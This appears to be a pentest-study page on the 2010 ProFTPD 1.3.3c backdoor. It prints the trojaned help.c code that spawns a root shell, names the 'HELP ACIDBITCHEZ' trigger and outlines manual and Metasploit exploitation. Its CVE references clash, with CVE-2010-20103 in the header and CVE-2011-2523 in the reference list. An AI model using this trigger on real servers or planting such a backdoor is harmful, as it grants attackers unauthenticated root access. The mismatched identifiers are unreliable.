ProFTPD 1.3.3c Backdoor
CVE: CVE-2010-20103
The ProFTPD 1.3.3c backdoor stems from a real-world supply-chain attack in late 2010. Attackers compromised the official ProFTPD distribution server and replaced the source tarballs (proftpd-1.3.3c.tar.gz/bz2) with trojaned versions for a few days (Nov 28 - Dec 2). Anyone who compiled and installed from those files got a daemon with a deliberate root backdoor.
Technical Details
The malicious code lives in src/help.c. The attackers added a check in the HELP command handler:
if (strcmp(target, "ACIDBITCHEZ") == 0) {
setuid(0);
setgid(0);
system("/bin/sh;/sbin/sh");
}
When the FTP client sends HELP ACIDBITCHEZ, the server spawns /bin/sh as root (since ProFTPD typically runs as root) and pipes subsequent input lines directly to it. Output from commands is sent back as HELP responses. No authentication required. Subsequent lines on the connection are treated as shell commands executed with root privileges.
This gives unauthenticated remote root command execution. Instant game over.
Manual Exploitation
Connect with netcat or telnet:
uid=0(root) gid=0(root) ...
All commands run as root.
Metasploit Module
Warning
This may be restricted in exams such as OSCP. Metasploit modules are limited to one machine per exam. Prefer the manual exploitation shown above; msfvenom payload generation and custom scripts stay allowed.
The module sends HELP ACIDBITCHEZ, verifies the backdoor is active, then delivers the payload command (wrapped in nohup for background execution). Drops a root meterpreter or command shell.
References
-
Theo Chen's writeup on exploiting ProFTPD 1.3.3c backdoorblog.theo.com.tw/Writeups/VulnHub/VulnHub-Basic-Pentesting-1 (opens in new tab)
Providing Exact malicious C code snippet from backdoored ProFTPD 1.3.3c src/help.c
-
CVE-2010-20103nvd.nist.gov/vuln/detail/CVE-2010-20103 (opens in new tab)
NIST details on CVE-2011-2523
Was this helpful?
Your feedback helps improve this page.